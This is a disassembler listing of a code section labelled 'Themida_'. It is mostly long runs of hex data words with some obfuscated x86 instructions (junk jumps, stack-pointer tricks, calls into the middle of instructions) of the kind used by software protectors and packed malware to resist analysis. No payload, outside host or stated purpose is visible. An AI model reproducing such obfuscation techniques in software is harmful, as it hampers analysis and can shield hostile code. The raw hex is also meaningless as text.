		dd 0F72625A6h, 505FE91Bh, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 260626F2h
		dd 0B5093952h, 6111F55h, 0BD6EB5FFh, 0BD230614h, 6110FFDh
		dd 14E9h, 48B13A00h, 7DE47179h,	0BB87C32Eh, 0C0868A5Bh
		dd 0D11EA202h, 6F0768F9h, 8B66AFE2h, 240481DFh,	503C94F8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 57C35343h
		dd 8B605C37h, 858D61DEh, 614BD76h, 8D98D01h, 66900611h
		dd 50BF2DBBh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 67C4F749h, 2AC195FFh, 0BF0F0611h
		dd 6A61DBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 885E62C3h, 0C7F54594h, 11270985h,	306h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0EE29ACD3h, 0BD831AB7h, 614BD76h, 52840F00h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 6D87C350h, 6EC09D9h, 68F0Fh, 0BD8B0000h
		dd 6111F55h, 3BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0BD9910A7h, 0C3050AAh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	9D59D89h
		dd 0BD890611h, 61104E9h, 5D958950h, 5B06111Dh, 2709BD83h
		dd 0F030611h, 46C85h, 0E3816600h, 0BD834FDEh, 614BD76h
		dd 5A840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0E5BEC352h,	0BE7B9358h
		dd 8903EB8Ah, 112BA9BDh, 76B5FF06h, 6A0614BDh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 8DBCC355h, 329195FFh, 6A0611h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 228744C3h, 0EF47EA2h
		dd 0CEFABFC9h, 0B58B16FAh, 614BD6Ah, 13E8h, 0D7F12800h
		dd 0B109B408h, 0B62CEBFDh, 6264CA30h, 0C9846278h, 6810Fh
		dd 0BD8B0000h, 6110FF9h, 106C75Bh, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0B36BC352h, 0C8B0FA8h, 0F000000h, 68Ah, 0C6F78100h
		dd 8154E924h, 1CAE87F7h, 0F60504Fh, 282h, 66616000h, 61FC46BFh
		dd 0F8243489h, 0BD76B5FFh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 379E72C3h
		dd 85C2AECDh, 0E995FFh,	6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0C431B1C3h, 5D9E98E9h
		dd 159D8924h, 0E906111Dh, 0Ch, 3C03C34Ah, 8AC8F384h, 98331175h
		dd 0BD6AB58Bh, 0B5010614h, 6110C71h, 1425858Bh,	6A0611h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0E809BDC3h, 0CABEBB3Ch, 14A59D8Bh, 86890611h, 0C4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 7CC35141h
		dd 661B306Dh, 958BD98Bh, 611285Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0E8C35242h,	6C513DA8h, 450CB1Ch
		dd 99BD8B15h, 0F061113h, 178Eh,	0FE85300h, 8C000000h, 34CC2BC2h
		dd 93D90A2h, 0D0046D68h, 5F5B5956h, 0B8665760h,	0E958ED06h
		dd 0Fh,	0C9E3DD14h, 0BFEC30C8h,	25398A4h, 61C74A43h, 0E804C283h
		dd 12h,	59481168h, 16A136ECh, 3EDCF751h, 90A6D696h, 0BD89C6B1h
		dd 6111BF9h, 2BBF565Bh,	5F3E73C9h, 0F205089h, 858DF8B7h
		dd 614D062h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	5DC35242h, 212AF900h, 6E91670h,	0ED000000h, 33BE0284h
		dd 0B88689BFh, 0F9000000h, 152DB589h, 6A0611h, 0FFFE8B66h
		dd 14BD76B5h, 86D38106h, 0E84DD3AAh, 0Ah, 9DFABD69h, 0C1470880h
		dd 0BB6653E9h, 0FF5F48E6h, 112B6595h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 7B79622h, 0BEBF6650h, 0BD8B96BCh, 61121A1h, 0BD76B5FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 414662C3h, 0F09B3AA9h, 8BF595F2h,	1125DDBDh
		dd 2995FF06h, 0F06110Eh, 0BD83DEB7h, 6112761h, 3A840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 75B3C352h, 8D595BC0h, 58A0FF7h
		dd 0BB000000h, 1897558Dh, 8A525096h, 89965FFCh,	1120F59Dh
		dd 76B5FF06h, 6A0614BDh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 51B5C357h, 83D7E214h
		dd 9D8B4F21h, 6111599h,	6800Fh,	0BD8B0000h, 6110FFDh, 12F195FFh
		dd 5E80611h, 1F000000h,	0C295F1B6h, 2269BD8Bh, 0FF5B0611h
		dd 14BD76B5h, 2890F06h,	0B7000000h, 0B995FF4Fh,	66061105h
		dd 0BD83DF8Bh, 611013Dh, 68840F02h, 66000000h, 772CF781h
		dd 3101858Bh, 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0DA85EFC3h, 0FF61E81h, 1181h, 5E800h
		dd 201B0000h, 8B5111C3h, 11141DBDh, 0C65B06h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8E0FF8h, 0C7000000h,	1104D585h, 6, 1CBB6600h, 0F3F0E91Ch
		dd 9589FFFFh, 6112279h,	8DF5C18Bh, 11279585h, 0FB8B6606h
		dd 0BDBF6690h, 0EAB3501Dh, 5FADBB90h, 6A7513h, 50006AF9h
		dd 5BDE8B66h, 5E32858Dh, 0BD8B0615h, 61115CDh, 6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 7AFFC351h, 0EDBD8968h, 50061104h,	0A870Fh
		dd 60600000h, 850F61h, 61000000h, 8B240489h, 89006ADAh
		dd 11177D95h, 8B006A06h, 5D95FFD8h, 6A061107h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 884FC355h, 0EB7AA82Fh, 208D8D53h, 6A0614A4h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 9880C353h, 0E8C79B7Fh, 46FD53BFh, 83D1FF4Fh,	111B71BDh
		dd 850F0106h, 70h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 81C35545h, 830FD88Ah,	3
		dd 6AF9BF0Fh, 0DEB70F02h, 0D880F50h, 50000000h,	8606BF52h
		dd 310F453Ah, 585A5B50h, 66240489h, 53AEF381h, 2B6595FFh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 663F35C3h, 65E3F381h, 0CC2E9h, 0E800h, 815D0000h
		dd 155E3CEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 66CF6205h, 6AFA8Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 48CE9FC3h
		dd 0E9D3F14Ch, 11h, 1A00A8D5h, 0C63317E8h, 0E8B32B27h
		dd 0FDEB536h, 68858D9Ah, 6A061489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 9EC5C353h
		dd 508426E0h, 83CBF66h,	6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0AFDCC351h
		dd 595516CDh, 0F9629E37h, 2871BD89h, 0FF640611h, 35h, 0D1BD8900h
		dd 64061129h, 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8B6016C3h, 1100C195h
		dd 0FF61FC06h, 1107AD85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0CAA2F699h
		dd 0C436C7Eh, 0E952C17Bh, 0Ch, 4F408BE3h, 0A9DDAA04h, 6DB9A40Eh
		dd 0C781665Fh, 0FF6A0F4Dh, 92EB8166h, 99B5FF05h, 0E906111Ch
		dd 0Fh,	6AB267E8h, 0E0EF0A83h, 0FA6E9A01h, 0FF4A6820h
		dd 11150D95h, 0F5E906h,	9D290000h, 6111221h, 0DD8A00B0h
		dd 9D8B70E6h, 6112019h,	32859D03h, 71E40611h, 293DBD03h
		dd 5DBF0611h, 3C7D43AFh, 0C8830F61h, 8B000000h,	110751BDh
		dd 0C8B60F06h, 71DBC781h, 6BA5B00h, 0BB000000h,	3A94Fh
		dd 5660C18Bh, 0EB63BB5Bh, 0C16142E2h, 0BF0F04E8h, 0E2F766FEh
		dd 1279D381h, 0C82B3293h, 8BDABF0Fh, 0D5BD8BD1h, 0E9061114h
		dd 2, 858BD98Bh, 6111805h, 0C083DF8Bh, 0F88B6607h, 8900C083h
		dd 110E89BDh, 0DA8B6606h, 830FD03Bh, 16h, 0EDCF8166h, 55E9C9h
		dd 9D8B0000h, 61109D5h,	3D9BD8Bh, 8D8B0611h, 61125C1h
		dd 0AE8h, 5C961400h, 82A628FDh,	8BC1BD66h, 110E0D9Dh, 8B665F06h
		dd 1E183DAh, 21840Fh, 0DA8B0000h, 25C1A583h, 89FE0611h
		dd 11142D95h, 9589FC06h, 6111805h, 14A98589h, 0E90611h
		dd 8D000000h, 14EB99B5h, 6ADA8B06h, 0D1B58900h,	0FF061104h
		dd 1105C595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 7E2CF328h, 0C2F4C5Eh, 0ABE78107h
		dd 0F40C25Bh, 686h, 25BD8B00h, 0B906111Fh, 76Dh, 83F8BF0Fh
		dd 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 833E13C3h, 602742BEh, 0CE9h, 0D27B6700h
		dd 3F409BAAh, 55CD3C9Ah, 0BE88Eh, 6F6A0000h, 711C1213h
		dd 8D769851h, 8B0F5Eh, 5E000000h, 10E861h, 8DCA0000h, 0CB84546Ah
		dd 25D687F8h, 0F94FEBD6h, 0FC5F274Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 49C35040h, 2E90FD54h, 54C4DF81h
		dd 0DF8B2334h, 0B8h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 318269Ch, 0B0DEFC03h
		dd 6AD22B54h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0C45DC352h, 9DBD0B95h,	0AD061102h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C879C350h
		dd 28B634C0h, 8BDF8B66h, 1103F19Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FB8506D7h
		dd 0B5BB096Eh, 48B0Fh, 60500000h, 880D5F61h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0E932C350h, 8F38A6AEh, 8B794905h,	11285D95h
		dd 49BD0B06h, 53061101h, 0EA6D45BBh, 8D8B5B12h,	6112DD1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E7C35242h
		dd 798D8932h, 8B061126h, 112C09BDh, 0C28B5006h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0ACABC355h
		dd 4C98D741h, 0F9AACCA1h, 2381BD83h, 0F000611h,	5684h
		dd 14E900h, 8BEE0000h, 0ED9A46EDh, 7EE77D1Fh, 8463F867h
		dd 4F1179A8h, 0B84BCFh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0EBC2C357h
		dd 0B0BF663Bh, 0DB8166B6h, 8D8D23EEh, 6114E3Eh,	0B41BD89h
		dd 0E1FF0611h, 83DA8B66h, 112709BDh, 840F0006h,	387h, 1E41BD89h
		dd 0BD830611h, 6112709h, 8F840F01h, 60000003h, 180D9509h
		dd 8B600611h, 11009DBDh, 83616106h, 112709BDh, 860F0306h
		dd 33Ch, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 19h,	3DC35040h, 0A505031Ah, 85896035h, 61122D9h, 8C66F88Bh
		dd 8021B3D9h, 8D0904E1h, 6110E85h, 840FC90Ah, 161h, 6850Fh
		dd 95010000h, 6111B4Dh,	1BF5858Bh, 0D7800611h, 8533F855h
		dd 6110305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	40C35343h, 38C0Fh, 0E3800000h, 6E9902Fh, 35000000h
		dd 795140EDh, 525050F8h, 0EE95250h, 7A000000h, 0C99727F2h
		dd 8E68D494h, 0CCF2516Bh, 56310FCDh, 0F585A5Bh,	90585A31h
		dd 6A48CB80h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BE977A5h, 6E000000h, 0BA91287Eh
		dd 0C83D4961h, 4E81024h, 0FF000000h, 0E9001F03h, 0Fh, 0A803CFF7h
		dd 437EAB8Eh, 0BABF42E6h, 50ED778Fh, 424448Bh, 8BF88B66h
		dd 0FB8B6600h, 4244489h, 58FA8B66h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 81C35141h, 50EF84Ch, 315C2AC2h
		dd 2AC195FFh, 10E80611h, 0F2000000h, 0C49AB79Eh, 88C5858h
		dd 0DFDAC3D3h, 660A58F6h, 0E5AEF781h, 7685895Fh, 0E90614BDh
		dd 0Eh,	0BF5FF71Ah, 0FF123CF1h,	0CBD5D162h, 8CE9B1CBh
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 6E59C355h, 0FC59783Fh,	603B37CCh
		dd 0E006BA66h, 6E858B61h, 90614BDh, 1114059Dh, 1800C706h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0B283C352h, 0EB8166AEh, 0B58B72AAh
		dd 614BD72h, 61606060h,	0BE9h, 0D9489100h, 585ACBDEh, 0A1C9D9Eh
		dd 0FDBE6661h, 858B618Ah, 61114E9h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0F3C35242h,	66278837h, 689F88Bh
		dd 1BF5858Bh, 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0ADF17EC3h, 88C62AECh, 89B6A56Ch
		dd 11053D85h, 4468906h,	5AD8589h, 50500611h, 7CBB6652h
		dd 0BB310FF4h, 34DAFF8Dh, 3489585Ah, 81665724h,	5F6AA7EBh
		dd 0BD6EB5FFh, 6A0614h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 10E925C3h, 6B000000h, 9194F4CCh, 0E4F8928Eh,	0BD03D24Ah
		dd 68562A1Ch, 0CAEAF85Ch, 4819BB3h, 340BA324h, 52006A35h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 40D678F6h, 0D165A8E0h, 1349BD8Bh, 858D0611h,	614BD76h
		dd 64BB50F9h, 893356CCh, 81662404h, 0FFAD81F7h,	112AC195h
		dd 3D9D8B06h, 61061126h, 49858960h, 89061100h, 113181B5h
		dd 85C76106h, 6112709h,	3, 0BBE9BB66h, 0BD76BD83h, 0F000614h
		dd 0F84h, 0FDBD8B00h, 0E9061101h, 1Fh, 0E2D4BB66h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C899C355h, 91BDB80h, 1122F9B5h, 9BD8306h, 3061127h
		dd 3A7850Fh, 0F98B0000h, 0BD76BD83h, 0F000614h,	39884h
		dd 81BD8B00h, 0FF061114h, 14BD76B5h, 0CDBD3306h, 0FF06110Eh
		dd 11329195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 6AB58B9Dh, 8B0614BDh, 111B219Dh
		dd 106C706h, 81000100h,	0EE3382EFh, 0BE85013h, 44000000h
		dd 9DB09DAAh, 4FD2DECEh, 895FCD06h, 0BEBF2434h,	0FF22B082h
		dd 14BD76B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 884B330Ah, 6840Fh, 0DB810000h, 777A5D13h
		dd 0E995FFh, 0BD8B0611h, 61105A1h, 0BD6AB58Bh, 5E90614h
		dd 8E000000h, 79A4CE83h, 13BDBD89h, 858B0611h, 6111425h
		dd 8689F98Bh, 0C4h, 28DD9D29h, 958B0611h, 611285Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 30C35747h, 0E86448D6h
		dd 0AE78F381h, 0C28367E4h, 198C0F04h, 0E9000000h, 14h
		dd 27693FE5h, 3DF44354h, 8CC93F05h, 1BAD262Bh, 60C9ABEFh
		dd 66205089h, 8D8A12BFh, 14D06285h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 70562944h
		dd 0B6F5A635h, 0FB8B338Fh, 0BF0F6051h, 0A18D89C6h, 6106112Ch
		dd 0B886895Fh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 9369C357h, 0FB1F3BBAh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0FE5045C3h, 923F0868h, 8166BEDFh,	0FFBD21F3h
		dd 14BD76B5h, 0F9B70F06h, 2B6595FFh, 6A0611h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D195A6C3h
		dd 1E61A9A6h, 0E9BD03D6h, 9606111Eh, 0CE9h, 0EB620900h
		dd 3A56A39Bh, 1A9EDFB2h, 52505026h, 52505250h, 585A310Fh
		dd 8B66310Fh, 0F585AD8h, 96585A31h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 6BC35646h, 0B5FFDE8Bh, 614BD76h
		dd 1245BD03h, 95FF0611h, 6110E29h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 6C35040h, 0AF66549Ch, 0CB99D8Bh
		dd 0DE8B0611h, 2761BD83h, 0F000611h, 5184h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B320AB48h, 7E9A314Fh, 82F78166h, 8B665076h,	243489D9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DBC35747h
		dd 493A07DAh, 0B5FFDBE0h, 614BD76h, 58B0F53h, 66000000h
		dd 99CBC781h, 0F195FF5Bh, 6A061112h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88BBC356h
		dd 2985294Bh, 0FF06110Ch, 14BD76B5h, 0E5BD8906h, 0FF06111Dh
		dd 1105B995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0B962973Ah, 6A0238C3h, 0BF0F0073h
		dd 3DBD83F8h, 2061101h,	21840Fh, 9D030000h, 61112ADh, 3101858Bh
		dd 95890611h, 61131E9h,	890000C6h, 1114C1BDh, 61BD8B06h
		dd 0C706110Ch, 1104D585h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0BC41C3D0h
		dd 11EEA0BBh, 0F49CE94Dh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0E567E1C3h, 0C18B20B3h
		dd 0E9D9B70Fh, 0Ch, 63E94978h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_590B74
; ---------------------------------------------------------------------------
		db 4Ch,	96h, 99h
		dd 0FDF271B3h, 0DFD00D97h, 353A2F79h, 121DC55Fh, 9342EB3Ch
		dd 0B0F25857h, 53D5BBB4h, 6FB99F90h, 1A9CF2FDh,	21C171E6h
		dd 0CD46C981h, 4C8143DFh, 968D1BCBh, 6E9C28CFh,	769D459Fh
		dd 0A40FEF1h, 5CA1AE98h, 34C9C600h, 51907BE8h, 63914F5Eh
		dd 0CE592F9Ah, 7BD1DE08h, 5B313E29h, 6E9CB3EFh,	0F5CF968Ch
		dd 76F13347h, 0EC58A479h, 43251AE3h, 8C506C0h, 968CD707h
		dd 0A2D06CCFh, 6388BAECh, 0AE7FEDE2h, 968C78ABh, 0A7A0F6CFh
		dd 0FC312D47h, 968CAB5Bh, 9E0CB8CFh, 0EFAC909Ah, 37E20FCDh
		dd 8A000000h, 7F8E8143h, 968D28D8h, 0F17244CFh,	0CDEFD7EFh
		dd 19B0Fh, 43210000h, 0C728B84h, 0A37A75F6h, 0B8AFF5BDh
		dd 0DB0E56B7h, 8A9EC9D4h, 8788BF79h, 9A9557D1h,	87435AB4h
		dd 382F7588h, 0CB1DD637h, 454AFE38h, 0A4AB950Fh, 0CDC20359h
		dd 156FDB30h, 82DA232Ch, 8DB34A45h, 42C51B1Fh, 0CDED785Ch
		dd 79560Fh, 9AE80000h, 5CA1AEh,	0D45CCAC5h, 888743A6h
		dd 1E8F0975h, 0B32C9DA9h, 4D2D9EBFh, 0E470274Fh, 0D1595692h
		dd 405D5293h, 0C6000319h, 0FB470D02h, 56B7B8A9h, 0E45C86EAh
		dd 96EC12EBh, 90405D52h, 0EB7FAFA0h, 6884CF95h,	6867E200h
		dd 27207095h, 0CD4C1539h, 4F7D0Fh, 0F70D0000h, 0BDA37A75h
		dd 874387F5h, 3C2F7588h, 98594733h, 60A2930Bh, 0E318D159h
		dd 0C47CBA4Dh, 430B85CBh, 0D6651B84h, 30303B46h, 62AC2BCFh
		dd 0ED1B894Dh, 0E1E4E210h, 45120AFBh, 0CD7E2149h, 29CF95A7h
		dd 6A524CD7h, 240FCD0Ah, 1, 8D8243F4h, 353A2470h, 12156BE8h
		dd 478269D4h, 0C574DA48h, 87F3AFFBh, 968C6290h,	0E753E1CFh
		dd 968CC270h, 7F3341CFh, 98430C03h, 1808D5A7h, 81DB222Dh
		dd 0A3D14F40h, 0CFC0025Ah, 0C9C60193h, 0C5C33FA1h, 62287143h
		dd 0CFC07DC0h, 9C94023Eh, 0DF8B8446h, 0C919E45h, 4A8D5CD4h
		dd 0C984EA9Ah, 99646BD8h, 74898643h, 84A6A1F7h,	2EE87B2Dh
		dd 0CB5D333Ch, 0ADF71619h, 8861BCB3h, 0C701C740h, 0C4F882C8h
		dd 8A09DC4Dh, 129h, 386CB452h, 43861C48h, 6803244Ch, 0CDD5A7ACh
		dd 17F1942Fh, 3B12C8Ah,	0AFA0A2FAh, 828DBFE9h, 3A99077Bh
		dd 0F76BB185h, 0A89AC8A0h, 0CC7E46A7h, 24E00E01h, 0C967C985h
		dd 0CD7A425Bh, 6A3E3BC2h, 0EE3AFBD9h, 5E519355h, 874E76F8h
		dd 510009DCh, 0A8000000h, 433F6BB4h, 968CFECCh,	355A964Fh
		dd 4F968E05h, 0F3233402h, 704F968Dh, 0F52256C4h, 73A3A647h
		dd 924F968Dh, 23B37A64h, 0D8AF2108h, 977D87B7h,	0F2609C4Fh
		dd 0EEDF68BEh, 6EE15105h, 0CF977DA0h, 0F4309A7h, 8Dh, 0F00C153h
		dd 0DC2E42FEh, 48386CB4h, 0A7977CC7h, 0EA3341D5h, 0F95F5092h
		dd 6BB2BDAFh, 858339ECh, 43C494C9h, 57C45B85h, 58DC4C8h
		dd 3E8AC07Eh, 92970990h, 0E397A094h, 423E6AB6h,	9AE717CDh
		dd 0F67183CFh, 0EA06B1F9h, 101FC913h, 0FE15D220h, 0C9D4424Dh
		dd 954A6317h, 29070F3h,	0FB9CCCC3h, 0CF92114Bh,	69C4ACD8h
		dd 616FDB8Fh, 582DAA0Eh, 0FFF077DDh, 0BADD2941h, 0D5A72886h
		dd 0D7DD361h, 0D7D72F7h, 84E7DC0Ah, 55DD6BC9h, 386CB427h
		dd 96093A48h, 0F14DB82Eh, 0FCACDA17h, 95D3AB5Bh, 640CB8CFh
		dd 3EC17718h, 0AA6D5ABh, 54BFA9F3h, 251BE2EDh, 0B5DDFBB7h
		dd 0F2ADB614h, 94F41A1Eh, 2BF5C00Ah, 8DE5B276h,	270A9557h
		dd 0C24A8429h, 0DF7A8331h, 2F7D6376h, 0C9D4DB0Eh, 0AE7F70F3h
		dd 7654EFB1h, 0EE283B71h, 5A55977Ch, 296F9D43h,	0BB424DFFh
		dd 1EEFE061h, 0F20B04C6h, 69B4BBAAh, 3B192A7Eh,	0AF69FA8Eh
		dd 4ADCB2BDh, 0F8F77398h, 0FE693B25h, 8CBA43F1h, 3, 430686DEh
		dd 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh,	4A926B64h
		dd 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h, 597668h
		dd 24348900h, 3BA568h, 240C8900h, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 55243C89h, 1C3FB3BDh, 2B5CB94Ch, 0E901B9F9h
		dd 83242C8Bh, 0AB6804C4h, 89000005h, 4812424h, 424h, 0B8505F00h
		dd 8, 889F801h,	8124048Bh, 4C4h, 243C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dd 723A1628h, 9DCABB38h
; ---------------------------------------------------------------------------


loc_590B74:				; CODE XREF: Themida_:005906D0j
		mov	eax, 6156F2Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0BFh, 74h, 81h
		dd 5C889E37h, 9D297A33h, 0C6660156h, 93F06C6Fh,	0FF11EC52h
		dd 0A2067B61h, 0C42BE165h, 41B68A69h, 0C3D3443Dh, 0B19B1E6Eh
		dd 2650832Ah, 0AB3CDE37h, 785E4D08h, 0D61E1E78h, 2EF92A3Fh
		dd 91572056h, 80A13804h, 2D98790Fh, 0AD050119h,	356DF147h
		dd 8F224E0Fh, 22385B62h, 0C9B5DF10h, 0E577015Bh, 0C5831F3Dh
		dd 4F576125h, 54883412h, 68B4E177h, 0A0B18D73h,	4BCF0F0Fh
		dd 95858D21h, 0F061127h, 8A90FBB7h, 5F5650DDh, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0ECCDFD0Bh, 0B416CA4Ah, 810F5152h, 0
		dd 6A5F5Fh, 7E8h, 58A64E00h, 4CECCF9Ah,	6A5BF9h, 2D9D9D8Bh
		dd 858D0611h, 6157209h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 24C35141h, 755FC10h, 0F471E9BFh, 419BD8Bh
		dd 0C0830611h, 0BDBD8B05h, 80061108h, 8B902CCFh, 516050FEh
		dd 0FE9h, 37708800h, 757CF1FFh,	366B1573h, 0E3E68226h
		dd 830F565Fh, 0
; ---------------------------------------------------------------------------


loc_590CAC:				; CODE XREF: Themida_:00590CE5j
		pop	ebx
		popa
		nop
		call	near ptr loc_590CB7+5
		aas
		xchg	eax, edi
		push	ecx


loc_590CB7:				; CODE XREF: Themida_:00590CAFp
		xchg	bl, ds:0FD089E3h
		mov	edi, 6A5FDFh
		mov	[ebp+6110F65h],	ecx
		push	0
		push	0
		push	ebp
		call	sub_590CD5
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590CD5	proc near		; CODE XREF: Themida_:00590CCDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_590CD5	endp

; ---------------------------------------------------------------------------
		jno	short loc_590CAC
		xor	eax, 0C85101D9h
